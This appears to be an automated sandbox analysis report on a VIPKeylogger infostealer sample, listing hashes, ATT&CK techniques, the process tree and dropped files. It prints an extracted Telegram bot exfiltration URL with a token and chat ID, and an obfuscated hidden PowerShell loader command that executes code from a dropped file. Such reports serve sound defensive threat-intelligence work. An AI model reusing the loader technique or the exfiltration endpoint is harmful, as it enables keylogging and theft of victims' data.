vipkeylogger | abc310a513d02735786554a683127b642cc1ea3394ae0041e04861d346518592

Analysis

max time kernel
96s
max time network
206s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 02:19

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General

Target

Printernummers.exe
Size

770KB
MD5

5e2ff1914fc1f8ebadf282f4096d6fc8
SHA1

77d61bdf0ce63eed5324b56623b878fc3dc79890
SHA256

f5f3c3a8c7f9f5fb9531fa0d57012ce0869b52b23d05e6c9b7a0220ac917db6d
SHA512

e70121837b94ba002dc2093afcebed4ec1d3f90d46d1466fe66e4f0bd16a9426d58547946ef7f420c937017deb650c5705c7792f6047de68918f018b7ec4d916
SSDEEP

12288:6DGZKmormA1FvvLR3x8rqDFXlo3KsAYzjDCwonXnWMIk2CyLuuOSFBPpJh/gpcXF:4mor/1t8uTooHNnXWMIdCkOqXPgKP9

Score

10^/10

vipkeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot8179583980:AAG4cdQWaAviOBBhSs3OrT1OX6_IUptNQv8/sendMessage?chat_id=6070006284

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3000	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2696	Printernummers.exe

Blocklisted process makes network request 6 IoCs

flow	pid	Process
39	1248	msiexec.exe
41	1248	msiexec.exe
43	1248	msiexec.exe
45	1248	msiexec.exe
49	1248	msiexec.exe
52	1248	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
39	drive.google.com
38	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1248	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3000	powershell.exe
1248	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\unthick.ini	Printernummers.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2512	1248	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Printernummers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
1248	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3000	powershell.exe
Token: SeSecurityPrivilege	3000	powershell.exe
Token: SeTakeOwnershipPrivilege	3000	powershell.exe
Token: SeLoadDriverPrivilege	3000	powershell.exe
Token: SeSystemProfilePrivilege	3000	powershell.exe
Token: SeSystemtimePrivilege	3000	powershell.exe
Token: SeProfSingleProcessPrivilege	3000	powershell.exe
Token: SeIncBasePriorityPrivilege	3000	powershell.exe
Token: SeCreatePagefilePrivilege	3000	powershell.exe
Token: SeBackupPrivilege	3000	powershell.exe
Token: SeRestorePrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeSystemEnvironmentPrivilege	3000	powershell.exe
Token: SeRemoteShutdownPrivilege	3000	powershell.exe
Token: SeUndockPrivilege	3000	powershell.exe
Token: SeManageVolumePrivilege	3000	powershell.exe
Token: 33	3000	powershell.exe
Token: 34	3000	powershell.exe
Token: 35	3000	powershell.exe
Token: 36	3000	powershell.exe
Token: SeDebugPrivilege	1248	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 3000	2696	Printernummers.exe	82
PID 2696 wrote to memory of 3000	2696	Printernummers.exe	82
PID 2696 wrote to memory of 3000	2696	Printernummers.exe	82
PID 3000 wrote to memory of 1248	3000	powershell.exe	98
PID 3000 wrote to memory of 1248	3000	powershell.exe	98
PID 3000 wrote to memory of 1248	3000	powershell.exe	98
PID 3000 wrote to memory of 1248	3000	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\Printernummers.exe
"C:\Users\Admin\AppData\Local\Temp\Printernummers.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Vulcanological=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg';$Accusor=$Vulcanological.SubString(74166,3);.$Accusor($Vulcanological) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 2380
      4⤵
      Program crash
      PID:2512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1248 -ip 1248
1⤵
PID:1908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vyrg01xf.n13.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nswBD66.tmp\nsExec.dll

Filesize
6KB

MD5
1b0e41f60564cccccd71347d01a7c397

SHA1
b1bddd97765e9c249ba239e9c95ab32368098e02

SHA256
13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

SHA512
b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

Download Submit
C:\Users\Admin\AppData\Local\magmaet\clenched\Fotografiapparat.Sku203

Filesize
333KB

MD5
f496251d8a237ce1bc9d65caca347b81

SHA1
4a3106946c1d839e84efa429b294f55c5e922a37

SHA256
36f5eb8fbf2f5dd107e9a674c7b6eabfd7f5425135a97380d7aa4268af7c0f57

SHA512
e0df4a347cfcf8a396d80402cdc64496bedfd39b9da6f5f90dddefe0a6da1143ed35fd9e06b63efa1834610e69e49387dcec86008c5224250aade1afd06ac08f

Download Submit
C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg

Filesize
72KB

MD5
c9297405df2a5c3c5deabc095edf89d1

SHA1
f2077fc5430342c2a5ceceb58dac4c7193adbbeb

SHA256
50db462fbdf3a57ccf31e74dc181f1cce93de20d0b5a43f3f576038482618f57

SHA512
06e8494ae2ac6a7d68c6b1d53fc6b83f5640fad1a5771bc84f573306465fb68ad2012960574779fe34137f5154c6fcf9f68ece128d313716d96882d44324c90d

Download Submit
C:\Windows\Resources\unthick.ini

Filesize
33B

MD5
e23f52386361095bdb7040b09e2216ae

SHA1
91f31dd82ab80140db621b6dce0b9b5d6b568723

SHA256
36467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070

SHA512
19d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c

Download Submit
memory/1248-213-0x0000000000EC0000-0x0000000002114000-memory.dmp

Filesize
18.3MB

Download
memory/1248-228-0x0000000025A50000-0x0000000025AEC000-memory.dmp

Filesize
624KB

Download
memory/1248-226-0x0000000000EC0000-0x0000000002114000-memory.dmp

Filesize
18.3MB

Download
memory/1248-227-0x0000000000EC0000-0x0000000000F0A000-memory.dmp

Filesize
296KB

Download
memory/3000-181-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-190-0x00000000072B0000-0x00000000072C1000-memory.dmp

Filesize
68KB

Download
memory/3000-152-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

Filesize
136KB

Download
memory/3000-154-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/3000-153-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/3000-164-0x0000000005660000-0x00000000059B4000-memory.dmp

Filesize
3.3MB

Download
memory/3000-165-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

Filesize
120KB

Download
memory/3000-166-0x0000000005D10000-0x0000000005D5C000-memory.dmp

Filesize
304KB

Download
memory/3000-167-0x0000000006C90000-0x0000000006D26000-memory.dmp

Filesize
600KB

Download
memory/3000-168-0x00000000061F0000-0x000000000620A000-memory.dmp

Filesize
104KB

Download
memory/3000-169-0x0000000006270000-0x0000000006292000-memory.dmp

Filesize
136KB

Download
memory/3000-170-0x0000000007350000-0x00000000078F4000-memory.dmp

Filesize
5.6MB

Download
memory/3000-172-0x0000000007F80000-0x00000000085FA000-memory.dmp

Filesize
6.5MB

Download
memory/3000-175-0x00000000704C0000-0x000000007050C000-memory.dmp

Filesize
304KB

Download
memory/3000-174-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-150-0x0000000004DE0000-0x0000000005408000-memory.dmp

Filesize
6.2MB

Download
memory/3000-186-0x0000000007140000-0x000000000715E000-memory.dmp

Filesize
120KB

Download
memory/3000-173-0x0000000007100000-0x0000000007132000-memory.dmp

Filesize
200KB

Download
memory/3000-187-0x0000000007170000-0x0000000007213000-memory.dmp

Filesize
652KB

Download
memory/3000-188-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-189-0x0000000007290000-0x000000000729A000-memory.dmp

Filesize
40KB

Download
memory/3000-151-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-191-0x0000000007300000-0x000000000730E000-memory.dmp

Filesize
56KB

Download
memory/3000-192-0x0000000007310000-0x0000000007324000-memory.dmp

Filesize
80KB

Download
memory/3000-193-0x0000000007A40000-0x0000000007A5A000-memory.dmp

Filesize
104KB

Download
memory/3000-194-0x0000000007340000-0x0000000007348000-memory.dmp

Filesize
32KB

Download
memory/3000-195-0x0000000007A40000-0x0000000007A6A000-memory.dmp

Filesize
168KB

Download
memory/3000-199-0x0000000007A70000-0x0000000007A94000-memory.dmp

Filesize
144KB

Download
memory/3000-200-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-201-0x000000007404E000-0x000000007404F000-memory.dmp

Filesize
4KB

Download
memory/3000-202-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-203-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-205-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-206-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-207-0x0000000008600000-0x000000000E12C000-memory.dmp

Filesize
91.2MB

Download
memory/3000-208-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-209-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-211-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-149-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-148-0x00000000046E0000-0x0000000004716000-memory.dmp

Filesize
216KB

Download
memory/3000-147-0x000000007404E000-0x000000007404F000-memory.dmp

Filesize
4KB

Download
memory/3000-212-0x0000000074040000-0x00000000747F0000-memory.dmp

Filesize
7.7MB

Download